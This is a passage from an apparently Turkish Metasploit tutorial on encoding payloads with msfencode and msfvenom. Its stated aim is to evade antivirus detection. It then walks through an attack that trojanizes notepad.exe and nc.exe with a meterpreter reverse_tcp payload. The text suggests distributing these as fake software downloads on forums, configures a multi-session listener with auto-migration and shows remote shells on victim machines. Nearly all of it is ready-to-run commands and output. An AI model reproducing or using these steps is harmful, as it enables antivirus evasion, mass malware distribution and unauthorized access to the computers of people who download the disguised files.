x86/shikata_ga_nai -c 5 -t raw | msfencode -e x86/countdown -c 5 -t exe -o payload.exe Çıktı: [*] x86/shikata_ga_nai succeeded with size 317 (iteration=1) [*] x86/shikata_ga_nai succeeded with size 344 (iteration=2) [*] x86/shikata_ga_nai succeeded with size 371 (iteration=3) [*] x86/shikata_ga_nai succeeded with size 398 (iteration=4) [*] x86/shikata_ga_nai succeeded with size 425 (iteration=5) [*] x86/alpha_upper succeeded with size 919 (iteration=1) [*] x86/alpha_upper succeeded with size 1907 (iteration=2) [*] x86/shikata_ga_nai succeeded with size 1936 (iteration=1) [*] x86/shikata_ga_nai succeeded with size 1965 (iteration=2) [*] x86/shikata_ga_nai succeeded with size 1994 (iteration=3) [*] x86/shikata_ga_nai succeeded with size 2023 (iteration=4) [*] x86/countdown succeeded with size 2041 (iteration=1) [*] x86/countdown succeeded with size 2059 (iteration=2) [*] x86/countdown succeeded with size 2077 (iteration=3) Msfencode encode'lama işlemi sonrası exe gibi farklı çıktı formatlarında da çıktı alınabilir. Bunlar; Çıktı Formatı Msfencode'a Konulma Şekli -------------------- ---------------------------- ASP Dili asp ASPX Dili aspx DLL Hali dll Exe Hali exe War Hali war Bash Dili bash Visual Basic Script Dili vbs C Dili c Java Dili java Perl Dili perl Ruby Dili ruby ... ... ... ... Böylelikle msfencode ile oluşturduğumuz payload'ları nasıl antivirus tarzı güvenlik mekanizmalarınca tanınmaz hale getirebileceğimize dair bir fikir edinmiş olduk. [!] UyarıMetasploit'in yan tool'u olan msfencode tıpkı msfpayload gibi artık tedavülden kalkmıştır (deprecated olmuştur). Metasploit geliştiricileri yola artık msfvenom tool'u ile devam etmektedir. Msfvenom; Msfpayload + Msfencode 'un yeteneklerinin birleştirildiği yeni bir araçtır. Şimdi msfpayload ve msfencode'la yaptığımız encode'lama örneklerini bir de msfvenom ile yapalım. Öncelikle msfvenom kullanım biçimi;Msfvenom Kullanım Dizilişi (Syntax'ı): msfvenom [options] [parametre=arguman] [ciktiFormati] // Msfpayload daki [options] ve [payload] options ın içine alınmıştır. Az önce msfpayload + msfencode ile yaptığımız payload oluştur ve encode'la işlemini şimdi bir de msfvenom'daki karşılığını seri bir şekilde gösterelim. Msfvenom'un kullanabileceği yüklü modüller sıralanır. Kali Linux Terminal: msfvenom -l Çıktı: Framework Payloads (507 total) ============================== Name Description ---- ----------- aix/ppc/shell_bind_tcp Listen for a connection and spawn a command shell aix/ppc/shell_find_port Spawn a shell on an established connection aix/ppc/shell_interact Simply execve /bin/sh (for inetd programs) aix/ppc/shell_reverse_tcp Connect back to attacker and spawn a command shell ... ... ... ... Framework Encoders ================== Name Rank Description ---- ---- ----------- cmd/echo good Echo Command Encoder cmd/generic_sh manual Generic Shell Variable Substitution cmd/ifs low Generic ${IFS} Substitution Command cmd/perl normal Perl Command Encoder cmd/powershell_base64 excellent Powershell Base64 Command cmd/printf_php_mq manual printf(1) via PHP magic_quotes Utility ... ... ... ... ... ... Framework NOPs (10 total) ========================= Name Description ---- ----------- aarch64/simple Simple NOP generator armle/simple Simple NOP generator mipsbe/better Better NOP generator php/generic Generates harmless padding for PHP scripts ppc/simple Simple NOP generator ... ... ... ... Eğer sadece mevcut payload'ları sıralamak istiyorsak msfvenom -l payloads, sadece encoder'ları sıralamak istiyorsak msfvenom -l encoders ve sadece nop'ları sıralamak istiyorsak msfvenom -l nops kullanılabilir. Şimdi payload seçelim, ayarlarını girelim, oluştur diyelim ve encode'layalım. Kali Linux Terminal: msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.43.18 LPORT=1234 -a x86 --platform windows -e x86/shikata_ga_nai -f exe -o payload.exe Çıktı: Attemting to encode payload with 1 iterations of x86/shikata_ga_nai x86/shikata_ga_nai succeeded with size 360 (iteration=0) x86/shikata_ga_nai chosen with final size 360 Payload size: 360 bytes Final size of exe file: 73802 bytes Saved as payload.exe Yine payload oluşturalım, ardından aynı encoder'ı birden fazla kez kullanalım. Kali Linux Terminal: msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.43.18 LPORT=1234 -a x86 --platform windows -e x86/shikata_ga_nai -f exe | msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -f exe | msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -f exe | msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -f exe -o payload.exe Çıktı: Attempting to read payload from STDIN... Attempting to read payload from STDIN... Attempting to read payload from STDIN... Found 1 compatible encoders Attempting to encode payload with 1 iterations of x86/shikata_ga_nai x86/shikata_ga_nai succeeded with size 360 (iteration=0) x86/shikata_ga_nai chosen with final size 360 Payload size: 360 bytes Final size of exe file: 73802 bytes Found 1 compatible encoders Attempting to encode payload with 1 iterations of x86/shikata_ga_nai x86/shikata_ga_nai succeeded with size 73831 (iteration=0) x86/shikata_ga_nai chosen with final size 73831 Payload size: 73831 bytes Final size of exe file: 148992 bytes Found 1 compatible encoders Attempting to encode payload with 1 iterations of x86/shikata_ga_nai x86/shikata_ga_nai succeeded with size 149021 (iteration=0) x86/shikata_ga_nai chosen with final size 149021 Payload size: 149021 bytes Final size of exe file: 224256 bytes Found 1 compatible encoders Attempting to encode payload with 1 iterations of x86/shikata_ga_nai x86/shikata_ga_nai succeeded with size 224285 (iteration=0) x86/shikata_ga_nai chosen with final size 224285 Payload size: 224285 bytes Final size of exe file: 299520 bytes Saved as: payload.exe Yukarıda yapılan aynı encoder'la üst üste kodlama işlemini daha pratik bir şekilde -i (yani iterative) parametresiyle de yapabiliriz. Kali Linux Terminal: msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.43.18 LPORT=1234 -a x86 --platform windows -e x86/shikata_ga_nai -i 4 -f exe -o payload.exe Çıktı: Found 1 compatible encoders Attempting to encode payload with 4 iterations of x86/shikata_ga_nai x86/shikata_ga_nai succeeded with size 360 (iteration=0) x86/shikata_ga_nai succeeded with size 360 (iteration=1) x86/shikata_ga_nai succeeded with size 360 (iteration=2) x86/shikata_ga_nai succeeded with size 360 (iteration=3) x86/shikata_ga_nai chosen with final size 441 Payload size: 441 bytes Final size of exe file: 73802 bytes Saved as: payload.exe Ardından msfvenom'da payload oluşturup farklı farklı encoder'larla kodlama örneğine bakalım. Kali Linux Terminal: msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.43.18 LPORT=1234 -a x86 --platform windows -e x86/shikata_ga_nai -f exe | msfvenom -a x86 --platform windows -e x86/countdown -f exe | msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -f exe | msfvenom -a x86 --platform windows -e cmd/echo -f exe -o payload.exe Çıktı: Attempting to read payload from STDIN... Attempting to read payload from STDIN... Attempting to read payload from STDIN... Found 1 compatible encoders Attempting to encode payload with 1 iterations of x86/shikata_ga_nai x86/shikata_ga_nai succeeded with size 360 (iteration=0) x86/shikata_ga_nai chosen with final size 360 Payload size: 360 bytes Final size of exe file: 73802 bytes Found 1 compatible encoders Attempting to encode payload with 1 iterations of x86/countdown x86/countdown succeeded with size 73820 (iteration=0) x86/countdown chosen with final size 73820 Payload size: 73820 bytes Final size of exe file: 148992 bytes Found 1 compatible encoders Attempting to encode payload with 1 iterations of x86/shikata_ga_nai x86/shikata_ga_nai succeeded with size 149021 (iteration=0) x86/shikata_ga_nai chosen with final size 149021 Payload size: 149021 bytes Final size of exe file: 224256 bytes Found 1 compatible encoders Attempting to encode payload with 1 iterations of cmd/echo cmd/echo succeeded with size 224256 (iteration=0) cmd/echo chosen with final size 224256 Payload size: 224256 bytes Final size of exe file: 299520 bytes Saved as: payload.exe Son olarak oluşturacağımız payload için msfvenom'da hem birden fazla encoder ile kodlama hem de bu encoder'ların her birini defalarca tekrarlama örneğini gösterelim. Kali Linux Terminal: msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.43.18 LPORT=1234 -a x86 --platform windows -e x86/shikata_ga_nai -i 4 -f exe | msfvenom -a x86 --platform windows -e x86/countdown -i 2 -f exe | msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -i 5 -f exe | msfvenom -a x86 --platform windows -e cmd/echo -i 3 -f exe -o payload.exe Çıktı: Attempting to read payload from STDIN... Attempting to read payload from STDIN... Attempting to read payload from STDIN... Found 1 compatible encoders Attempting to encode payload with 4 iterations of x86/shikata_ga_nai x86/shikata_ga_nai succeeded with size 360 (iteration=0) x86/shikata_ga_nai succeeded with size 387 (iteration=1) x86/shikata_ga_nai succeeded with size 414 (iteration=2) x86/shikata_ga_nai succeeded with size 441 (iteration=3) x86/shikata_ga_nai chosen with final size 441 Payload size: 441 bytes Final size of exe file: 73802 bytes Found 1 compatible encoders Attempting to encode payload with 2 iterations of x86/countdown x86/countdown succeeded with size 73820 (iteration=0) x86/countdown succeeded with size 73838 (iteration=1) x86/countdown chosen with final size 73838 Payload size: 73838 bytes Final size of exe file: 148992 bytes Found 1 compatible encoders Attempting to encode payload with 5 iterations of x86/shikata_ga_nai x86/shikata_ga_nai succeeded with size 149021 (iteration=0) x86/shikata_ga_nai succeeded with size 149050 (iteration=1) x86/shikata_ga_nai succeeded with size 149079 (iteration=2) x86/shikata_ga_nai succeeded with size 149108 (iteration=3) x86/shikata_ga_nai succeeded with size 149137 (iteration=4) x86/shikata_ga_nai chosen with final size 149137 Payload size: 149137 bytes Final size of exe file: 224256 bytes Found 1 compatible encoders Attempting to encode payload with 3 iterations of cmd/echo cmd/echo succeeded with size 224256 (iteration=0) cmd/echo succeeded with size 224256 (iteration=1) cmd/echo succeeded with size 224256 (iteration=2) cmd/echo chosen with final size 224256 Payload size: 224256 bytes Final size of exe file: 299520 bytes Saved as: payload.exe Böylece msfvenom ile payload encode'lama işlemini görmüş olduk. Ekstra [Msfvenom ile Reel Bir Saldırı Uygulaması]Bu başlık altında msfpayload ve msfencode'un görevlerini yerine getirebilen msfvenom aracıyla meterpreter payload'u oluşturup bu payload'u piyasada bilinen / tanınan / legal / zararsız bir yazılım şablonu içerisine gömecek şekilde encode'layacağız. Bu sayede payload'umuz piyasadaki o yazılımın görünüşüne sahip olacaktır. Örneğin saldırgan profilindeki bir kimse msfvenom ile hazırladığı bir payload'u bir forum sitesinde Microsoft Office Full Türkçe İndir diye paylaşabilir. Bu dosyayı indirecek binlerce insan olacağından birçok kullanıcının makinasında bu payload çalışacaktır. Saldırgan ise makinesinden uzak sistemlerde çalışacak payload'lardan gelen bağlantıları dinler modda olacaktır. Saldırganın dosyasını forum sitesinden indirip her çalıştıran kişi saldırganın sistemine bağlantı yollayacaktır. Saldırgan ise her gelen bağlantıyı kabul edecektir ve yüzlerce bilgisayarın içine girmiş olacaktır.İlk olarak oluşturacağımız payload'u Windows'un notepad uygulaması şablonunda oluşturalım ve bu payload'u (viruslu notepad'i) çeşitli sistemlere indirip çalıştırarak sistemlerin her birine sızmayı deneyelim. Ardından aynı senaryoyu görseli olmayan bir exe dosyası için işletelim. Son olarak ise aynı senaryoyu piyasada çoğunlukla sistem yöneticilerinin kullandığı legal bir yazılım olan Putty'nin şablonuyla tekrarlayalım ve noktalayalım. Gereksinimler
i) Sosyal Mühendislik İle Sızma Uygulaması # Örnek 1Şimdi msfvenom ile meterpreter payload dosyası oluşturalım. Bu payload dosyasını shikata_ga_nai encoding tekniğiyle kodlayalım ve ardından notepad.exe uygulaması şablonunda bir çıktı alalım.Kali Linux Terminal: msfvenom -p windows/meterpreter/reverse_tcp LHOST=X.X.X.X LPORT=443 -a x86 --platform windows -x /root/Desktop/notepad.exe -k -e x86/shikata_ga_nai -i 5 -b "\x00" -f exe -o /root/Desktop/notepad_viruslu.exe // X.X.X.X yerine Kali Linux IP si konur. Çıktı: Found 1 compatible encoders Attempting to encode payload with 5 iterations of x86/shikata_ga_nai x86/shikata_ga_nai succeeded with size 360 (iteration=0) x86/shikata_ga_nai succeeded with size 387 (iteration=1) x86/shikata_ga_nai succeeded with size 414 (iteration=2) x86/shikata_ga_nai succeeded with size 441 (iteration=3) x86/shikata_ga_nai succeeded with size 468 (iteration=4) x86/shikata_ga_nai chosen with final size 468 Payload size: 468 bytes Final size of exe file: 111104 bytes Saved as: /root/Desktop/notepad_viruslu.exe Burada -p parametresi payload'u alır, ardından payload parametreleri olduğu gibi peşisıra eklenebilir. Daha sonra -a parametresi ile (yani (a)rchitecture parametresi ile) payload'umuzun 32 bitlik sisteme göre mi 64 bitlik sisteme göre mi çıktılanması gerektiği belirtilir. --platform parametresi ile payload'umuzun hangi işletim sistemi tipi üzerinde çalışacağı bilgisi belirtilir. -x parametresi ile payload için kullanılacak legal yazılım şablonu belirtilir (Not: Buradaki notepad.exe uygulaması Windows XP'den kopyala yapıştır suretiyle alınmıştır). -k parametresi (keep parametresi) kullanılacak yazılım şablonunun bozulmadan korunmasını ve payload'umuzun ekstra bir thread olarak şablona enjekte edilmesini sağlar. -e parametresi (yani (e)ncoder parametresi) ile payload'umuzun hangi encoding tekniğiyle kodlanacağı belirtilir. -i parametresi ile (yani (i)terative parametresi ile) kullanılacak encoding tekniğinin payload'umuzu üstüste kaç kere kodlayacağı belirtilir. -b parametresi ile encoding sonucu türeyen lüzumsuz karakterleri otomatize bir şekilde silme işlemi gerçekleşir. Burada payload'un encode'laması sırasında türeyen işlevsiz \x00 karakterleri silinmektedir. Böylelikle payload'umuzun boyutu minimize edilebilir. -f parametresi ile (yani (f)ormat parametresi ile) payload'umuzun çıktısının hangi formatta olacağı belirtilir. -o parametresi ile (yani (o)utput parametresi ile) payload'umuzun çıktısı sonucu oluşacak dosyanın ismi belirtilir. Yukarıdaki kodlama ile oluşan virüslü notepad uygulamamızın ismini ilgi çekici bir isim ile değiştirebiliriz. Örn; şifre gibi. Saldırgan böylesi bir dosyayı oluşturduktan sonra dosyayı internete koymadan evvel makinesini dinleme moduna geçirir ve hazır hale gelir. Kali Linux Terminal: msfconsole msf> use exploit/multi/handler msf> set payload windows/meterpreter/reverse_tcp msf> set lhost X.X.X.X // Kali Linux IP si msf> set lport 443 msf> set AutoRunScript post/windows/manage/migrate msf> set NAME explorer.exe msf> set ExitOnSession false msf> exploit -j Çıktı: [*] Exploit running as background job 0. [*] Started reverse TCP handler on X.X.X.X:443 msf exploit(multi/handler) > Saldırganın makinesinde çalıştırılan yukarıdaki msfconsole kodlamadarı ile multi/handler modülü seçilir ve saldırganın makinesi dışarıdan gelecek bağlantıları dinleme moduna geçirilir. Dinlenecek IP olarak (LHOST olarak) yerel sistemin IP'si verilir. Çünkü uzaktan gelecek bağlantılar yerel sistemimize gelecektir. Port olarak payload oluştururken LPORT'a ne girilmişse o girilir. AutoRunScript parametresi ise kullanımı zaruri olmamakla beraber dışarıdan gelen bağlantı sonucu dışarıdaki sistemde oturum elde edildiği an ekstradan çalıştırılacak modül ismini alır. Bu ekstradan çalıştırılacak modül kısmına bir post-exploitation modülü olan migrate konulması tercih edilmiştir. Çünkü uzak sistemlerden birinde payload (virüslü notepad) çalıştırıldığında notepad penceresi ekrana gelecektir ve kullanıcı o notepad penceresini kapadığı an bizim oturum sonlanacaktır. Dolayısıyla uzak sistem elimizden kayıp gidecektir. Normalde uzak sistemde oturum elde ettiğimiz an - bu makale zincirinin ikinci konusunda bahsedildiği üzere - migrate komutu ile daha uzun ömürlü bir process'e geçiş yapabiliriz. Fakat gerçek bir saldırı senaryosunda kurban size bu fırsatı vermeyebilir. Çevik davranarak notepad ya da benzeri virüslü uygulamayı kapatabilir ve elde ettiğiniz oturum sonlanabilir. Bu nedenle oturum elde edildiği an migrate işlemini msfconsole otomatikmen yapsın diye AutoRunScript parametresine migrate modülü konulmuştur. Bu modülün NAME parametresine explorer.exe process'inin ismi verilerek migrate modülümüze Windows sistemlerde gayet uzun ömürlü bir process'e anında beni geçir direktifi vermiş oluruz. ExitOnSession parametresini false yapmamız ise bu senaryo için zaruridir. Çünkü bir sistemde oturum elde ettiğimizde ExitOnSession (yani oturum elde edildiği durumda çıkış yap) parametresi varsayılan olarak true olduğundan ilk oturum elde edilir edilmez dinleme modundan çıkılmış olacaktır, diğer gelecek bağlantılar alınamaz duruma gelecektir ve uzak sistemlerdeki oturumlarımızı kaybetmiş olacağız. Bu nedenle ExitOnSession (Oturum Elde Edildiği Durumda Çıkış Yap) parametresini false yapmalıyız ki birinci oturumu aldığımızda dinleme moduna devam edebilelim ve peşisıra gelen her bağlantıyı kabul edip oturumları stoklayabilelim. Son olarak exploit -j komutuyla belirlenen ayarlar doğrultusunda dinleme moduna geçilir. Buradaki -j parametresi job 'un kısaltılmışıdır ve dinleme modu process'inin arkaplanda çalışmasını sağlar. Böylelikle msfconsole komut satırınız elde edilen oturum(lar) tarafından işgal edilmez.
Not:
Payload’umuza şablon program olarak belirlediğimiz notepad.exe bir exception (bir istisna / problem) üretecektir. Multi/handler ile dinleme modundayken zararlı notepad.exe uygulaması çalıştırıldığında session alınacaktır, fakat migrate modülü bir tür loop’a girip sürekli session migrate etme işlemi yapmaya başlayacaktır. Bu ise bir dünya bozuk session elde edilmesine neden olacaktır (Neredeyse yüzlerce…) Bunun muhtemel nedeni post-exploitation modülü olan migrate modülünün kaynak kodlarında yer alan temp process to mitigate (yani migrate işlemi için geçiçi process) tanımında notepad.exe’nin belirtilmiş olmasındandır. Biz payload’umuzu notepad.exe şeklinde hazırladığımız için migrate modülü geçici process olarak kendinde tanımlı notepad.exe dolayısıyla migrate işleminde bir tür sonsuz döngüye girmekte. Bu sorunu aşmak için migrate modülünün kaynak kodundaki temporary process (geçici process) kodlama satırında yer alan - mitigation işlemi için kullanılacak - geçici process ismine default olan “notepad.exe” yerine “cmd.exe” koyulabilir.
/usr/share/metasploit-framework/modules/post/windows/manage/migrate.rb
… … … # Creates a temp notepad.exe to migrate. def create_temp_proc() cmd ="cmd.exe" # Önceden “notepad.exe” ydi. Sonsuz döngüyü engellemek için cmd.exe yapıldı. proc = session.sys.process.execute(cmd, nil, 'Hidden' => true }) return proc.pid end Bu şekilde notepad.exe şablonu ile oluşmuş payload’umuz sorunsuz bir şekilde çalışacaktır. Dinleme moduna geçen saldırgan artık oluşturduğu virüslü notepad'i bir platforma yükleyip insanların onu indirmesini umabilir. Biz o işi kısa kesip oluşturuğumuz notepad.exe dosyasını gdrive, dropbox,.. gibi bir platforma yüklediğimizi ve Windows XP, Windows 10, Windows Server 2012 R2 sistemlerine de indirdiğimizi varsayalım. Bu hedef sistemler örnekleme şeklinde seçilmiştir. Windows XP, eski teknoloji bir sistemde bu işi başarabileceğimizi; Windows 10, son teknoloji bir sistemde bu işi başarabileceğimizi ve Windows Server 2012 ise web geliştiricileri ya da web sunucusunu yöneten sistemcilerin web sunucusuna böylesi bir dosya indirme gafletine düştüklerinde yine saldırıda başarılı olabileceğimizi göstermek adına seçilmişlerdir. Virüslü Dosyanın İndiği Sistemler: Windows XP ![]() Windows 10 ![]() Windows Server 2012 ![]() Şimdi tüm bu virüslü dosyayı indiren sistemlerdeki kullanıcıların dosyaları çalıştırdıklarını varsayalım. Windows XP ![]() Windows 10 ![]() Windows Server 2012 ![]() Tüm bu virüslü notepad uygulamaları resimlerde gösterildiği gibi çalıştırıldıklarında saldırganın sistemine teker teker bağlantı göndereceklerdir. Bağlantıları saldırganın sistemi aldığında oturumlar elde edilmiş olacaktır. Dinleme modunda yaptığımız konfigurasyon ayarı gereği elde edilen her bir oturumun akabinde meterpreter oturumumuz uzak sistemlerdeki notepad.exe process'inden explorer.exe process'ine migrate edilecektir. Bu nedenle notepad process'i otomatikmen birkaç saniye içerisinde migrate modülü tarafından kapanacaktır. Ancak oturumumuz artık daha sağlam bir process'e (explorer.exe'ye) geçmiş olacaktır. Kurbanların indirdikleri notepad'ler açıldıklarında saldırganın sisteminde şu çıktılar ekrana gelecektir: Çıktı: msf exploit(multi/handler) > ((( Beklerken oturumlar gelir ))) [*] Sending stage (179779 bytes) to Y.Y.Y.Y [*] Meterpreter session 1 opened (X.X.X.X:443 -> Y.Y.Y.Y:49159) [*] Session ID 1 (X.X.X.X:443 -> Y.Y.Y.Y:49159) processing AutoRunScript 'post/windows/manage/migrate' [*] Running module against WIN-VJ7UU9G4VTO [*] Current server process: notepad.exe (828) [*] Spawning notepad.exe process to migrate to [+] Migrating to 496 [+] Successfully migrated to process 496 [*] Sending stage (179779 bytes) to Z.Z.Z.Z [*] Meterpreter session 2 opened (X.X.X.X:443 -> Z.Z.Z.Z:1040) [*] Session ID 2 (X.X.X.X:443 -> Z.Z.Z.Z:1040) processing AutoRunScript 'post/windows/manage/migrate' [*] Running module against PENTEST-WINXP [*] Current server process: notepad.exe (2348) [*] Spawning notepad.exe process to migrate to [+] Migrating to 2436 [+] Successfully migrated to process 2436 [*] Sending stage (179779 bytes) to T.T.T.T [*] Meterpreter session 3 opened (X.X.X.X:443 -> T.T.T.T:1881) [*] Session ID 3 (X.X.X.X:443 -> T.T.T.T:1881) processing AutoRunScript 'post/windows/manage/migrate' [*] Running module against SGELPENTEST01 [*] Current server process: notepad.exe (2936) [*] Spawning notepad.exe process to migrate to [+] Migrating to 6376 [+] Successfully migrated to process 6376 ((( Bir kez ENTER ))) msf exploit(multi/handler) > ((( konsol arayüzümüz yine geldi ))) Şimdi elde ettiğimiz oturumları listeleyelim. Kali Linux Terminal: msf exploit(multi/handler) > sessions -l Çıktı: Active sessions =============== Id Type Information Connection -- ---- ----------- ---------- 1 meterpreter x86/windows WIN-VJ7UU\Administrator X.X.X.X:443 -> @ WIN-VJ7UU9G4VTO Y.Y.Y.Y:49159 (A.B.C.D) 2 meterpreter x86/windows PENTEST-WINXP\pentest X.X.X.X:443 -> @ PENTEST-WINXP T.T.T.T:1040 (E.F.G.H) 3 meterpreter x86/windows HFSPENTEST\pentest X.X.X.X:443 -> @ HFSPENTEST01 K.K.K.K:1881 (I.J.K.L) Şimdi oturumlardan birine id'si ile geçiş yapalım. Kali Linux Terminal: msf exploit(multi/handler) > sessions -i 3 Çıktı: [*] Starting interaction with 3... meterpreter > ((( İçerdeyiz ))) Şimdi hedef sistemin komut satırını alalım ve işletim sistemi + versiyonunu öğrenelim. Kali Linux Terminal: meterpreter > shell Çıktı: Process 2224 created. Channel 1 created. Microsoft Windows [Version 10.0.17134.345] (c) 2018 Mİcrosoft Corporation. All rights reserved. C:\Users\pentest\Desktop > (((( Komut Satırını Aldık ))) Kali Linux Terminal: C:\Users\pentest\Desktop > systeminfo | findstr /C:"OS" // Linux sistemlerde ise şu şekilde: uname -a Çıktı: OS Name: Microsoft Windows 10 Enterprise OS Version: X.Y.Z N/A Build ABCDEFG OS Manufacturer: Microsoft Corporation OS Configuration: Standalone Workstation OS Build Type: Multiprocessor Free BIOS Version: Hewlett-Packard XYZ Ver. A.FD, 0X.0Y.200A C:\Users\pentest\Desktop > Son olarak sızmış olduğumuz Windows 10 sistemindeki masaüstü dökümanlarını listeleyelim. Kali Linux Terminal: C:\Users\pentest\Desktop > dir Çıktı: Volume in drive C has no label. Volume Serial Number is ABC-EYXF Directory of C:\Users\pentest\Desktop 09.11.2018 13:29 <DIR> . 09.11.2018 13:29 <DIR> .. 09.11.2018 10:08 723.633 2018-11-09 10_05_52-.png 09.11.2018 13:29 512.081 2018-11-09 13_27_40-.png 19.04.2017 14:23 0 KOPYALAMA!.txt 04.08.2017 11:47 1.272 Any Video Converter.lnk 08.11.2018 15:32 839 average responses.rar 08.11.2018 15:30 2.243 average responses.txt 05.04.2018 14:25 <DIR> BurpSuite Kurulum Dosyalar� 02.10.2018 16:18 124 Ders Video �ekim Hk..txt 30.07.2018 09:53 1.962 DirBuster.lnk 29.03.2018 14:51 2.113 Email Extractor.lnk 14.09.2017 12:40 3.129 FreeEmailExtractor.lnk 24.04.2018 14:40 1.602 Internet Explorer.lnk 08.11.2018 16:50 111.104 notepad.exe 21.09.2018 14:28 854.072 putty.exe 04.06.2018 14:12 1.017.400 rufus-3.0.exe 02.07.2018 14:32 462 Word ��indekiler Tablosu Olu�turma.txt 17 File(s) 3.233.526 bytes 5 Dir(s) 74.880.786.432 bytes free Meterpreter ile yapabileceklerinizden daha önce bahsedildiği için sızma işlemini burada noktalıyorum. ii) Sosyal Mühendislik İle Sızma Uygulaması # Örnek 2Şimdi aynı senaryoyu görsel arayüzü olmayan bir exe programı ile tekrarlayalım.Kali Linux Terminal: msfvenom -p windows/meterpreter/reverse_tcp LHOST=X.X.X.X LPORT=443 -a x86 --platform windows -x /usr/share/windows-binaries/nc.exe -k -e x86/shikata_ga_nai -i 5 -b "\x00" -f exe -o Desktop/deneme.exe // X.X.X.X yerine yerel sistemin (Kali Linux'un) IP'si girilir. Çıktı: Found 1 compatible encoders Attempting to encode payload with 5 iterations of x86/shikata_ga_nai x86/shikata_ga_nai succeeded with size 360 (iteration=0) x86/shikata_ga_nai succeeded with size 387 (iteration=1) x86/shikata_ga_nai succeeded with size 414 (iteration=2) x86/shikata_ga_nai succeeded with size 441 (iteration=3) x86/shikata_ga_nai succeeded with size 468 (iteration=4) x86/shikata_ga_nai chosen with final size 468 Payload size: 468 bytes Final size of exe file: 61952 bytes Saved as: Desktop/deneme.exe Metasploit içerisinde barınan windows binary'lerinden nc.exe'yi oluşturacağımız payload'a şablon olarak seçtik. Payload'umuz oluştuğunda deneme.exe isimli olacaktır. Yukarıdaki kodlamada -p payload'u, -a payload'un 32 bitlik mi 64 bitlik mi olacağı bilgisini, --platform payload'un çalışacağı işletim sistemi türü bilgisini, -x kullanılacak legal bir yazılımın şablonunu, -k şablon korunsun ve payload'umuz içine enjekte edilsin diretifini, -e kullanılacak encoding tekniğini, -i iterasyon sayısını, -b kodlama sırasında türeyen hangi gereksiz karakterlerin silineceği bilgisini, -f payload'un çıktısının hangi formatta olacağı bilgisini, -o ise payload'un çıktı dosyasının ismini alır. Şimdi önceki senaryodan arta kalan oturumları sonlandıralım, dinleme modundan çıkalım ve saldırganın makinasını tekrar dinleme moduna geçirelim. Kali Linux Terminal: msf exploit(multi/handler) > sessions -k 1,2,3 // pidNo,pidNo,... msf exploit(multi/handler) > jobs -k 0 // jobs -k jobID msf> use exploit/multi/handler msf> set payload windows/meterpreter/reverse_tcp msf> set lhost X.X.X.X // Kali Linux IP si msf> set lport 443 msf> set AutoRunScript post/windows/manage/migrate msf> set NAME explorer.exe msf> set ExitOnSession false msf> exploit -j Çıktı: [*] Exploit running as background job 1. [*] Started reverse TCP handler on X.X.X.X:443 msf exploit(multi/handler) > Oluşturulan dosyayı internete koyduğumuzu ve kurbanların da indirdiğini varsayalım. Windows XP ![]() Windows 10 ![]() Windows Server 2012 ![]() Sonra kurbanların dosyaları çalıştırdıklarını varsayalım. Windows XP ![]() Windows 10 ![]() Windows Server 2012 ![]() Bu sıralarda saldırganın sisteminde oturumların elde edildiğine dair çıktılar belirecektir. Çıktı: [*] Sending stage (179779 bytes) to Y.Y.Y.Y [*] Meterpreter session 4 opened (X.X.X.X:443 -> Y.Y.Y.Y:49223) [*] Session ID 4 (X.X.X.X:443 -> Y.Y.Y.Y:49223) processing AutoRunScript 'post/windows/manage/migrate' [*] Running module against WIN-VJ7UU9G4VTO [*] Current server process: deneme.exe (728) [*] Spawning notepad.exe process to migrate to [+] Migrating to 804 [+] Successfully migrated to process 804 [*] Sending stage (179779 bytes) to Z.Z.Z.Z [*] Meterpreter session 5 opened (X.X.X.X:443 -> Z.Z.Z.Z:1044) [*] Session ID 5 (X.X.X.X:443 -> 172.16.3.77:1044) processing AutoRunScript 'post/windows/manage/migrate' [*] Running module against PENTEST-WINXP [*] Current server process: deneme.exe (2972) [*] Spawning notepad.exe process to migrate to [+] Migrating to 3068 [+] Successfully migrated to process 3068 [*] Sending stage (179779 bytes) to T.T.T.T [*] Meterpreter session 6 opened (X.X.X.X:443 -> T.T.T.T:1756) [*] Session ID 6 (X.X.X.X:443 -> 172.16.3.111:1756) processing AutoRunScript 'post/windows/manage/migrate' [*] Running module against SGELPENTEST01 [*] Current server process: deneme.exe (3660) [*] Spawning notepad.exe process to migrate to [+] Migrating to 10884 [+] Successfully migrated to process 10884 ((( Bir kere ENTER )))) msf exploit(multi/handler) > ((( Çıktıların konsolu işgali son bulur )))) Elde edilen oturumlar nelermiş bakılır. Kali Linux Terminal: msf exploit(multi/handler) > sessions Çıktı: Active sessions =============== Id Type Information Connection -- ---- ----------- ---------- 4 meterpreter x86/windows WIN-VJ7UU\Administrator X.X.X.X:443 -> @ WIN-VJ7UU9G4VTO Y.Y.Y.Y:49159 (A.B.C.D) 5 meterpreter x86/windows PENTEST-WINXP\pentest X.X.X.X:443 -> @ PENTEST-WINXP T.T.T.T:1040 (E.F.G.H) 6 meterpreter x86/windows HFSPENTEST\pentest X.X.X.X:443 -> @ HFSPENTEST01 K.K.K.K:1881 (I.J.K.L) Bir oturuma geçilebilir. Kali Linux Terminal: msf exploit(multi/handler) > sessions -i 5 Çıktı: [*] Starting interaction with 5... meterpreter > ((((( İçerdeyiz ))))) Sızdığımız sistemin komut satırını alabiliriz ve işletim sistemi & versiyon bilgisini öğrenebiliriz. Kali Linux Terminal: meterpreter > shell Çıktı: Process 2236 created. Channel 1 created. Microsoft Windows XP [Sürüm 5.1.2600] (C) Telif Hakkı 1985-2001 Microsoft Corp. C:\Documents and Settings\pentest\Desktop > (((( Komut Satırını Aldık )))) Kali Linux Terminal: C:\Documents and Settings\pentest\Desktop > systeminfo | findstr /C:"OS" Çıktı: OS Sürümü: 5.1.2600 Service Pack 2 2600 BIOS Sürümü: VBOX -1 Son olarak sızdığımız bu sistemin masaüstü öğelerini görüntüleyelim. Kali Linux Terminal: C:\Documents and Settings\pentest\Desktop> dir Çıktı: C s�r�c�s�ndeki birimin etiketi yok. Birim Seri Numaras�: XYZ-ABC C:\Documents and Settings\pentest\Desktop dizini 09.11.2018 14:33 <DIR> . 09.11.2018 14:33 <DIR> .. 28.01.2018 08:22 1.607 123.hex 24.05.2016 14:53 